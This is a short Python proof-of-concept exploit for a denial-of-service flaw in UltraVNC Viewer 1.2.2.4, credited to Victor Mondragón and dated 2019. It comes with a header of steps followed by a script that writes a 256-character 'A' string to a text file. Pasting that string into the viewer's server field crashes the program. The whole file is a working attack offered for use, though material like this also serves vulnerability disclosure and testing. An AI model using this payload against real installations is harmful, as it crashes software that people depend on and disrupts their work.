21 lines
No EOL
632 B
Python
Executable file
21 lines
No EOL
632 B
Python
Executable file
#Exploit Title: UltraVNC Viewer 1.2.2.4 - Denial of Service (PoC)
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#Discovery by: Victor Mondragón
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#Discovery Date: 2019-04-14
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#Vendor Homepage: https://www.uvnc.com/
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#Software Link: https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html
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#Tested Version: 1.2.2.4
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#Tested on: Windows 7 x64 Service Pack 1
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#Steps to produce the crash:
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#1.- Run python code: UltraVNC_Viewer_1.2.2.4.py
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#2.- Open UltraViewer.txt and copy content to clipboard
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#3.- Open UltraVNC Viewer
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#4.- In "VNC Server" Paste Clipboard
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#5.- Click on "Connect"
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#6.- Crashed
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cod = "\x41" * 256
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f = open('UltraViewer.txt', 'w')
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f.write(cod)
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f.close() |